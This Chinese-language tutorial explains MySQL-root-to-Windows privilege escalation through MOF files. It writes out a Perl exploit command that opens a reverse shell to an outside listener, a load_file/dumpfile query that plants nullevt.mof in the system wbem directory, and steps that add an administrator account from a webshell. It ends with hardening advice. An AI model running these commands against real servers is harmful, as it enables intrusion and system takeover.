一、漏洞利用方法分析

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

1
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件:

2.通过Mysql查询将文件导入

执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

1
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

二、实战利用

1.实验环境

本次实验环境为Windows2003+Apache+PHP,已经拥有Webshell权限。

2.上传文件到可写目录

将nullevt.mof文件上传到服务器可写目录,例如C:\RECYCLER\,如图5-4所示。

技术干货:MySQL数据库Root权限MOF方法提权研究

上传文件nullevt.mof

3.执行命令

配置好中国菜刀,然后通过数据库管理,执行查询命令,在执行查询命令前需要先选择一下数据库,然后将以下代码复制到查询语句输入框中,

1
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行查询命令

4.查看执行结果

执行完毕后需要修改添加用户命令为将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传并查询,通过net user查看,果然admin已被添加到系统中。

添加用户成功

三、防范方法

Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:

1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。

2.Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。

3.对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。

4.操作系统目录c:\windows\system32\wbem禁止写入。

-------------本文结束感谢您的阅读-------------